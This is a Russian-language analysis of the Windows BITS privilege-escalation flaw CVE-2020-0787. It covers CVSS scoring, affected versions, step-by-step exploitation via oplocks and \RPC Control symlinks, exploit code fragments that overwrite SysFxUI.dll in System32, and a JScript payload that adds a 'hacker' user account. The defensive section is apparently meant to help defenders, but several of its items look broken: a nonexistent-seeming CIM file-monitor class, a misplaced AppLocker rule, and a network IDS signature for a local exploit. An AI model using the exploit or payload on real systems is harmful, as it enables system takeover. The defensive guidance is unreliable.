
Уязвимость BDU:2020-01189 (CVE-2020-0787) Windows
Уязвимость BDU:2020-01189 (CVE-2020-0787) обработки символьных ссылок в службе фоновой передачи данных (BITS) Windows, позволяющая повысить привилегии через arbitrary file move.
Анализ уязвимости
Уровень опасности: 7.8 HIGH
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
-
AV:L (Вектор атаки: Локальный) - Требуется физический или удаленный интерактивный доступ к системе
-
AC:L (Сложность атаки: Низкая) - Не требует специальных условий эксплуатации
-
PR:N (Требуемые привилегии: Нет) - Достаточно стандартных пользовательских прав
-
UI:R (Вовлечение пользователя: Требуется) - Необходимо выполнение вредоносного приложения
-
S:U (Область воздействия: Неизменна) - Не оказывает влияния на другие компоненты
-
C:H (Влияние на конфиденциальность: Высокое) - Полный доступ к системным данным
-
I:H (Влияние на целостность: Высокое) - Полный контроль над системой
-
A:H (Влияние на доступность: Высокое) - Возможность полного отказа системы
Условия эксплуатации
-
Локальный доступ к уязвимой системе Windows
-
Возможность выполнения произвольного кода (стандартные пользовательские права)
-
Отсутствие установленных патчей
-
Целевая система должна использовать уязвимые версии BITS (включена по умолчанию)
Уязвимые версии ОС
- Windows 10 1607 32-bit
- Windows 10 1607 64-bit
- Windows 10 1709 32-bit
- Windows 10 1709 64-bit
- Windows 10 1709 ARM64
- Windows 10 1803 32-bit
- Windows 10 1803 64-bit
- Windows 10 1803 ARM64
- Windows 10 1809 32-bit
- Windows 10 1809 64-bit
- Windows 10 1809 ARM64
- Windows 10 1903 32-bit
- Windows 10 1903 64-bit
- Windows 10 1903 ARM64
- Windows 10 1909 32-bit
- Windows 10 1909 64-bit
- Windows 10 1909 ARM64
- Windows 10 32-bit
- Windows 10 64-bit
- Windows 7 SP1 32-bit
- Windows 7 SP1 64-bit
- Windows 8.1 32-bit
- Windows 8.1 64-bit
- Windows 8.1 RT
- Windows Server 1803 Server Core Installation
- Windows Server 1903 Server Core Installation
- Windows Server 1909 Server Core Installation
- Windows Server 2008 R2 SP1 64-bit
- Windows Server 2008 R2 SP1 Itanium
- Windows Server 2008 R2 SP1 Server Core installation 64-bit
- Windows Server 2008 SP2 32-bit
- Windows Server 2008 SP2 64-bit
- Windows Server 2008 SP2 Itanium
- Windows Server 2008 SP2 Server Core installation 32-bit
- Windows Server 2008 SP2 Server Core installation 64-bit
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2012 R2 Server Core installation
- Windows Server 2012 Server Core installation
- Windows Server 2016
- Windows Server 2016 Server Core installation
- Windows Server 2019
- Windows Server 2019 Server Core installation
Технический механизм уязвимости
Служба BITS (Background Intelligent Transfer Service) неправильно обрабатывает символьные ссылки при работе с файлами. Злоумышленник может создать специальную цепочку reparse points, чтобы перенаправить операцию перемещения файла в системную директорию:
// Эксплуатация через подмену путей BitsArbitraryFileMove::Run(L"C:\\malware.dll", L"C:\\Windows\\System32\\SysFxUI.dll")
Ключевые этапы эксплуатации:
-
Создание рабочего каталога с поддиректориями
mountpoint
иbait
-
Инициализация BITS-задачи для "загрузки" файла
-
Перехват временного файла BITS (
BIT*.tmp
) через oplock -
Замена mountpoint на
\RPC Control
-
Создание символьных ссылок:
-
\RPC Control\BITXXXX.tmp
→ Исходный вредоносный файл -
\RPC Control\<target_file>
→ Системный файл
-
-
Автоматическое перемещение файла службой BITS
Анализ кода эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2020-0787.
Основные компоненты:
-
Манипуляция с COM-объектами BITS:
// Создание BITS job CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&m_pBackgroundCopyQMgr); m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &m_pBackgroundCopyGroup); m_pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
-
Создание reparse points:
// Перенаправление файловых операций ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, L"\\RPC Control", L""); CreateSymlink(nullptr, L"\\RPC Control\\BIT84A4.tmp", L"\\??\\C:\\malware.dll"); CreateSymlink(nullptr, L"\\RPC Control\\test.txt", L"\\??\\C:\\Windows\\System32\\SysFxUI.dll");
-
Обработка oplock для перехвата операций:
// Перехват момента записи файла FileOpLock* oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", nullptr); oplock->WaitForLock(INFINITE); // Ожидание триггера
Практические последствия эксплуатации
-
Повышение привилегий: Замена системных DLL (например,
SysFxUI.dll
) позволяет выполнить код с правами SYSTEM -
Установка руткитов: Модификация драйверов или системных компонентов
-
Обход UAC: Подмена компонентов контроля учетных записей
-
Персистентность: Создание неизвлекаемых backdoor
Пример вредоносной нагрузки:
<!-- Скрипт в эксплоите для выполнения команд --> <script language='JScript'> <![CDATA[ new ActiveXObject('Wscript.Shell').exec('cmd /c net user hacker P@ssw0rd /add'); ]]> </script>
Методы защиты
-
Системные обновления:
-
Установить обновления Windows
-
-
Контроль целостности:
# Мониторинг изменений системных DLL Get-CimInstance -ClassName Win32_FileMonitor -Filter "TargetDirectory='C:\\Windows\\System32'"
-
AppLocker Policy:
<!-- Блокировка неразрешенных COM-объектов --> <RuleCollection Type="Dll"> <FilePathRule Id="1" Name="Block BITS Exploit" Action="Deny"> <Conditions> <FilePathCondition Path="C:\Windows\System32\bitsadmin.exe" /> </Conditions> </FilePathRule> </RuleCollection>
-
Правила Suricata/IPS:
alert tcp any any -> any any ( msg:"CVE-2020-0787 BITS Exploit Attempt"; flow:established,to_server; content:"|08|CreateJob"; depth:12; content:"|0C|AddFiles"; within:100; content:"|0C|ResumeJob"; within:10; sid:20200787; rev:1; )
Рекомендации для SOC
-
Мониторинг создания BITS-задач:
Get-WinEvent -LogName "Microsoft-Windows-Bits-Client/Operational" | Where-Object {$_.Id -eq 59} # Событие создания задачи
-
Детектирование подозрительных символьных ссылок:
fsutil reparsepoint query C:\workspace\mountpoint
-
Аудит доступа к системным DLL:
auditpol /set /subcategory:"Object Access" /success:enable /failure:enable
